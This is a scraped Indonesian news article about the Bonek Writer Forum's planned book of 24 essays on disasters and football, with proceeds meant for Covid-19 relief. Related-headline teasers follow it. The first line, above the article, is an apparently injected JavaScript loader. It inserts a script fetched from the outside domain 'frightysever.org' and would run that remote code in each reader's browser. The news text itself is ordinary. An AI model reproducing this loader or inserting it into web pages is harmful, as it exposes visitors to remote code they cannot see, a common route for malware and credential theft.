(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SURABAYA – Pandemi Covid-19 memukul semua sektor kehidupan. Virus ini memaksa semua kegiatan yang mengumpulkan massa banyak harus berhenti. Kompetisi sepak bola menjadi salah satu korbannya. Klub menghentikan kegiatannya yang berimbas kepada pemain, pelatih, dan semua yang terlibat di dalamnya.
Hal ini menjadi sorotan Bonek Writer Forum (BWF), sebuah komunitas penulis sepak bola yang berlatar belakang Bonek untuk menerbitkan sebuah buku. Buku berjudul “Tolak Bala Sepak Bola†ini rencananya akan diterbitkan setelah lebaran 2020. Saat ini, buku masih dalam tahap pengerjaan.
Ada 24 tulisan yang berasal dari 23 penulis yang semuanya merupakan anggota BWF. Buku ini berisi tulisan-tulisan yang menggambarkan efek dari bencana-bencana yang terjadi di dunia terhadap sepak bola. Tak hanya bencana Covid-19, bencana-bencana lain meliputi Tragedi Heysel, ledakan Chernobyl, perang El Salvador vs Honduras, jatuhnya pesawat Manchester United, dll.
“Setelah membaca buku ini, kita bisa lebih berempati kepada korban bencana khususnya para pelaku di dunia sepak bola. Buku ini layak dikoleksi,†kata Rossi Rahardjo, editor buku ini yang juga anggota BWF.
23 penulis yang berasal dari beragam profesi membuat tulisan di buku ini lebih beragam. Ya, anggota BWF memang berasal dari berbagai profesi seperti akademisi, jurnalis, PNS, fotografer, hingga mahasiswa.
“Gaya penulisannya bermacam-macam. Ada yang gaya medsos, gaya jurnalistik, dan ada yang akademis,†ucap Rossi.
Beberapa penulis mengapresiasi dilibatkannya mereka dalam penulisan ini. Jojo Raharjo salah satunya. Ia merupakan jurnalis yang tinggal di Jakarta.
“Saya sangat mengapresiasi sekaligus merasa tersanjung dilibatkan dalam kerja bersama ini. Buku ini merupakan sumbangsih kecil kami dalam menyikapi pagebluk yang eksesnya terasa luar biasa di semua sektor, termasuk dunia persepakbolaan nasional. Kita semua adalah saksi sejarah sebuah peristiwa besar yang mungkin belum akan terulang puluhan tahun mendatang,†kata Jojo.
Jojo berharap buku ini membuat semua, baik bumi, bangsa, maupun dunia persepakbolaan nasional secara khusus, bisa menjadi lebih kuat dari semula.
Rencananya, buku akan dijual untuk umum. BWF akan mengumumkan mekanisme penjualan setelah buku ini terbit. Seluruh keuntungan penjualan akan didonasikan untuk penanganan korban Covid-19 di Indonesia. (kanalkalimantan.com/rossi)
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.